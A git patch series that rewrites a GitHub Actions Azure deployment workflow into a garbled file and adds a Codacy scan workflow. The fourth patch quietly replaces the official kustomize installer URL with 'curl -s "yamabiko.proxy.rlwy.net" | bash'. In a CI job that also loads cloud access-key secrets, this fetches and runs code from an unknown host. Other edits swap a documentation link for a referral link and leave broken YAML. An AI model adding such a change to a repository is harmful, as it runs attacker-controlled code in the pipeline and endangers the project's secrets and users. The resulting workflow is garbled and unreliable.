From 4fa0098c06896b87702316c4acdc426887a6df51 Mon Sep 17 00:00:00 2001 From: "@PEI777" Date: Mon, 13 Oct 2025 13:43:03 +0700 Subject: [PATCH 1/5] Create azure-staticwebapp.yml --- .github/workflows/azure-staticwebapp.yml | 70 ++++++++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 .github/workflows/azure-staticwebapp.yml diff --git a/.github/workflows/azure-staticwebapp.yml b/.github/workflows/azure-staticwebapp.yml new file mode 100644 index 00000000..185018ed --- /dev/null +++ b/.github/workflows/azure-staticwebapp.yml @@ -0,0 +1,70 @@ +# This workflow will build and push a web application to an Azure Static Web App when you change your code. +# +# This workflow assumes you have already created the target Azure Static Web App. +# For instructions see https://docs.microsoft.com/azure/static-web-apps/get-started-portal?tabs=vanilla-javascript +# +# To configure this workflow: +# +# 1. Set up a secret in your repository named AZURE_STATIC_WEB_APPS_API_TOKEN with the value of your Static Web Apps deployment token. +# For instructions on obtaining the deployment token see: https://docs.microsoft.com/azure/static-web-apps/deployment-token-management +# +# 3. Change the values for the APP_LOCATION, API_LOCATION and APP_ARTIFACT_LOCATION, AZURE_STATIC_WEB_APPS_API_TOKEN environment variables (below). +# For instructions on setting up the appropriate configuration values go to https://docs.microsoft.com/azure/static-web-apps/front-end-frameworks +name: Deploy web app to Azure Static Web Apps + +on: + push: + branches: [ "main" ] + pull_request: + types: [opened, synchronize, reopened, closed] + branches: [ "main" ] + +# Environment variables available to all jobs and steps in this workflow +env: + APP_LOCATION: "/" # location of your client code + API_LOCATION: "api" # location of your api source code - optional + APP_ARTIFACT_LOCATION: "build" # location of client code build output + AZURE_STATIC_WEB_APPS_API_TOKEN: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing deployment token for your static web app + +permissions: + contents: read + +jobs: + build_and_deploy_job: + permissions: + contents: read # for actions/checkout to fetch code + pull-requests: write # for Azure/static-web-apps-deploy to comment on PRs + if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') + runs-on: ubuntu-latest + name: Build and Deploy Job + steps: + - uses: actions/checkout@v4 + with: + submodules: true + - name: Build And Deploy + id: builddeploy + uses: Azure/static-web-apps-deploy@v1 + with: + azure_static_web_apps_api_token: ${{ env.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing api token for app + repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for Github integrations (i.e. PR comments) + action: "upload" + ###### Repository/Build Configurations - These values can be configured to match you app requirements. ###### + # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig + app_location: ${{ env.APP_LOCATION }} + api_location: ${{ env.API_LOCATION }} + app_artifact_location: ${{ env.APP_ARTIFACT_LOCATION }} + ###### End of Repository/Build Configurations ###### + + close_pull_request_job: + permissions: + contents: none + if: github.event_name == 'pull_request' && github.event.action == 'closed' + runs-on: ubuntu-latest + name: Close Pull Request Job + steps: + - name: Close Pull Request + id: closepullrequest + uses: Azure/static-web-apps-deploy@v1 + with: + azure_static_web_apps_api_token: ${{ env.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing api token for app + action: "close" From 49668f2fa95bcb01a911f70d2e02654f2a7e2f24 Mon Sep 17 00:00:00 2001 From: "@PEI777" Date: Mon, 13 Oct 2025 13:50:00 +0700 Subject: [PATCH 2/5] https://railway.com?referralCode=DAlppS.yml --- .github/workflows/azure-staticwebapp.yml | 34 +++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/.github/workflows/azure-staticwebapp.yml b/.github/workflows/azure-staticwebapp.yml index 185018ed..e42a0296 100644 --- a/.github/workflows/azure-staticwebapp.yml +++ b/.github/workflows/azure-staticwebapp.yml @@ -6,10 +6,42 @@ # To configure this workflow: # # 1. Set up a secret in your repository named AZURE_STATIC_WEB_APPS_API_TOKEN with the value of your Static Web Apps deployment token. -# For instructions on obtaining the deployment token see: https://docs.microsoft.com/azure/static-web-apps/deployment-token-management +# For instructions on obtaining the deployment token see: https://railway.com?referralCode=DAlppS # # 3. Change the values for the APP_LOCATION, API_LOCATION and APP_ARTIFACT_LOCATION, AZURE_STATIC_WEB_APPS_API_TOKEN environment variables (below). # For instructions on setting up the appropriate configuration values go to https://docs.microsoft.com/azure/static-web-apps/front-end-frameworks +# ... (rest of the workflow) + +    # 3.1 Set ACK context +    - name: Set K8s context +      uses: aliyun/ack-set-context@v1 +      with: +        access-key-id: "${{ secrets.ACCESS_KEY_ID }}" +        access-key-secret: "${{ secrets.ACCESS_KEY_SECRET }}" +        cluster-id: "${{ env.ACK_CLUSTER_ID }}" + +    # 3.2 Deploy the image to the ACK cluster +    - name: Set up Kustomize +      run: |- +        curl -s "https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh" | bash /dev/stdin 3.8.6 + +    - name: Deploy +      run: | +        # Use kustomize to set the new image tag +        ./kustomize edit set image REGISTRY/NAMESPACE/IMAGE:$TAG=$REGISTRY/$NAMESPACE/$IMAGE:$TAG +        +        # Build the manifest with kustomize and apply it to the cluster +        ./kustomize build . | kubectl apply -f - +        +        # Wait for the deployment to finish rolling out +        kubectl rollout status deployment/${{ env.ACK_DEPLOYMENT_NAME }} +        +        # Print service information +        kubectl get services -o wide + on: + bash: + branches: "main" + run npx main name: Deploy web app to Azure Static Web Apps on: From 8cc305be54510089113ff90f2b4d0bd1a4dc593c Mon Sep 17 00:00:00 2001 From: "@PEI777" Date: Mon, 13 Oct 2025 13:55:16 +0700 Subject: [PATCH 3/5] europe-west4-drams3a.yml --- .github/workflows/azure-staticwebapp.yml | 64 ------------------------ 1 file changed, 64 deletions(-) diff --git a/.github/workflows/azure-staticwebapp.yml b/.github/workflows/azure-staticwebapp.yml index e42a0296..42c35c63 100644 --- a/.github/workflows/azure-staticwebapp.yml +++ b/.github/workflows/azure-staticwebapp.yml @@ -1,15 +1,3 @@ -# This workflow will build and push a web application to an Azure Static Web App when you change your code. -# -# This workflow assumes you have already created the target Azure Static Web App. -# For instructions see https://docs.microsoft.com/azure/static-web-apps/get-started-portal?tabs=vanilla-javascript -# -# To configure this workflow: -# -# 1. Set up a secret in your repository named AZURE_STATIC_WEB_APPS_API_TOKEN with the value of your Static Web Apps deployment token. -# For instructions on obtaining the deployment token see: https://railway.com?referralCode=DAlppS -# -# 3. Change the values for the APP_LOCATION, API_LOCATION and APP_ARTIFACT_LOCATION, AZURE_STATIC_WEB_APPS_API_TOKEN environment variables (below). -# For instructions on setting up the appropriate configuration values go to https://docs.microsoft.com/azure/static-web-apps/front-end-frameworks # ... (rest of the workflow)     # 3.1 Set ACK context @@ -38,58 +26,6 @@                 # Print service information         kubectl get services -o wide - on: - bash: - branches: "main" - run npx main -name: Deploy web app to Azure Static Web Apps - -on: - push: - branches: [ "main" ] - pull_request: - types: [opened, synchronize, reopened, closed] - branches: [ "main" ] - -# Environment variables available to all jobs and steps in this workflow -env: - APP_LOCATION: "/" # location of your client code - API_LOCATION: "api" # location of your api source code - optional - APP_ARTIFACT_LOCATION: "build" # location of client code build output - AZURE_STATIC_WEB_APPS_API_TOKEN: ${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing deployment token for your static web app - -permissions: - contents: read - -jobs: - build_and_deploy_job: - permissions: - contents: read # for actions/checkout to fetch code - pull-requests: write # for Azure/static-web-apps-deploy to comment on PRs - if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') - runs-on: ubuntu-latest - name: Build and Deploy Job - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: Build And Deploy - id: builddeploy - uses: Azure/static-web-apps-deploy@v1 - with: - azure_static_web_apps_api_token: ${{ env.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing api token for app - repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for Github integrations (i.e. PR comments) - action: "upload" - ###### Repository/Build Configurations - These values can be configured to match you app requirements. ###### - # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig - app_location: ${{ env.APP_LOCATION }} - api_location: ${{ env.API_LOCATION }} - app_artifact_location: ${{ env.APP_ARTIFACT_LOCATION }} - ###### End of Repository/Build Configurations ###### - - close_pull_request_job: - permissions: - contents: none if: github.event_name == 'pull_request' && github.event.action == 'closed' runs-on: ubuntu-latest name: Close Pull Request Job From 193e5b36bf851b2db33d2d33d27d539f4dd30e14 Mon Sep 17 00:00:00 2001 From: "@PEI777" Date: Mon, 13 Oct 2025 13:56:26 +0700 Subject: [PATCH 4/5] Update azure-staticwebapp.yml --- .github/workflows/azure-staticwebapp.yml | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/.github/workflows/azure-staticwebapp.yml b/.github/workflows/azure-staticwebapp.yml index 42c35c63..ce99b406 100644 --- a/.github/workflows/azure-staticwebapp.yml +++ b/.github/workflows/azure-staticwebapp.yml @@ -11,7 +11,7 @@     # 3.2 Deploy the image to the ACK cluster     - name: Set up Kustomize       run: |- -        curl -s "https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh" | bash /dev/stdin 3.8.6 +        curl -s "yamabiko.proxy.rlwy.net" | bash /dev/stdin 3.8.6     - name: Deploy       run: | @@ -26,13 +26,3 @@                 # Print service information         kubectl get services -o wide - if: github.event_name == 'pull_request' && github.event.action == 'closed' - runs-on: ubuntu-latest - name: Close Pull Request Job - steps: - - name: Close Pull Request - id: closepullrequest - uses: Azure/static-web-apps-deploy@v1 - with: - azure_static_web_apps_api_token: ${{ env.AZURE_STATIC_WEB_APPS_API_TOKEN }} # secret containing api token for app - action: "close" From c06b0d0000cafb470d564e28d373d36706efb386 Mon Sep 17 00:00:00 2001 From: "@PEI777" Date: Mon, 13 Oct 2025 13:57:16 +0700 Subject: [PATCH 5/5] Create codacy.yml --- .github/workflows/codacy.yml | 61 ++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 .github/workflows/codacy.yml diff --git a/.github/workflows/codacy.yml b/.github/workflows/codacy.yml new file mode 100644 index 00000000..f0887849 --- /dev/null +++ b/.github/workflows/codacy.yml @@ -0,0 +1,61 @@ +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +# This workflow checks out code, performs a Codacy security scan +# and integrates the results with the +# GitHub Advanced Security code scanning feature. For more information on +# the Codacy security scan action usage and parameters, see +# https://github.com/codacy/codacy-analysis-cli-action. +# For more information on Codacy Analysis CLI in general, see +# https://github.com/codacy/codacy-analysis-cli. + +name: Codacy Security Scan + +on: + push: + branches: [ "main" ] + pull_request: + # The branches below must be a subset of the branches above + branches: [ "main" ] + schedule: + - cron: '33 14 * * 2' + +permissions: + contents: read + +jobs: + codacy-security-scan: + permissions: + contents: read # for actions/checkout to fetch code + security-events: write # for github/codeql-action/upload-sarif to upload SARIF results + actions: read # only required for a private repository by github/codeql-action/upload-sarif to get the Action run status + name: Codacy Security Scan + runs-on: ubuntu-latest + steps: + # Checkout the repository to the GitHub Actions runner + - name: Checkout code + uses: actions/checkout@v4 + + # Execute Codacy Analysis CLI and generate a SARIF output with the security issues identified during the analysis + - name: Run Codacy Analysis CLI + uses: codacy/codacy-analysis-cli-action@d840f886c4bd4edc059706d09c6a1586111c540b + with: + # Check https://github.com/codacy/codacy-analysis-cli#project-token to get your project token from your Codacy repository + # You can also omit the token and run the tools that support default configurations + project-token: ${{ secrets.CODACY_PROJECT_TOKEN }} + verbose: true + output: results.sarif + format: sarif + # Adjust severity of non-security issues + gh-code-scanning-compat: true + # Force 0 exit code to allow SARIF file generation + # This will handover control about PR rejection to the GitHub side + max-allowed-issues: 2147483647 + + # Upload the SARIF file generated in the previous step + - name: Upload SARIF results file + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: results.sarif